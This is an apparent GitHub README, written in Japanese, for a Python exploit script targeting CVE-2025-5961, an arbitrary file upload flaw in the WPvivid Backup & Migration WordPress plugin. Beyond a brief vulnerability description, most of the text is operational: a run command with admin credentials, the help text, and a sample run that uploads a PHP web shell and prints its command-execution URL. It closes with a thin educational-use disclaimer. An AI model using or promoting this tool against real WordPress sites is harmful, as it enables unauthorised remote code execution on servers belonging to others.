
移行、バックアップ、ステージング – WPvivid Backup & Migration <= 0.9.116 - 認証済み(管理者+)任意ファイルアップロード
📈 この脆弱性は、700,000以上のインストール数を誇るプラグインに影響します
WordPress用プラグイン Migration, Backup, Staging – WPvivid Backup & Migration は、wpvivid_upload_import_files 関数におけるファイルタイプ検証の欠如により、任意のファイルアップロードに対して脆弱です。これはバージョン 0.9.116 までの全バージョンに影響します。
これにより、認証済みの攻撃者(管理者レベル以上) がサーバーに任意のファイルをアップロードでき、リモートコード実行を可能にする可能性があります。
このリポジトリには、CVE-2025-5961 用のPython製エクスプロイトスクリプトが含まれており、以下のことを行います:
python3 CVE-2025-5961.py -u http://target/wordpress -un admin -p password123
$ python3 CVE-2025-5961.py -h
usage: CVE-2025-5961.py [-h] -u URL -un USERNAME -p PASSWORD
CVE-2025-5961 Exploit by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress URL
-un, --username USERNAME
Admin username
-p, --password PASSWORD
[+] Checking plugin version...
[+] Detected plugin version: 0.9.116
[+] Target is vulnerable. Continuing exploit.
[+] Logging in to http://target/wordpress...
[+] Logged in successfully.
[+] Fetching WPvivid page to extract nonce...
[+] Extracted nonce: 502d5dce0e
[+] Uploading shell...
[+] Exploit succeeded!
[+] Shell URL: http://target/wordpress/wp-content/wpvividbackups/ImportandExport/shellnxploited.php?cmd=whoami
Exploit By: Khaled Alenazi (Nxploited) - https://github.com/Nxploited/
このスクリプトは、教育および研究目的のみで提供されています。
作者は、このツールによって引き起こされる誤用や損害について一切の責任を負いません。
Khaled Alenazi (Nxploited)
🌐 GitHub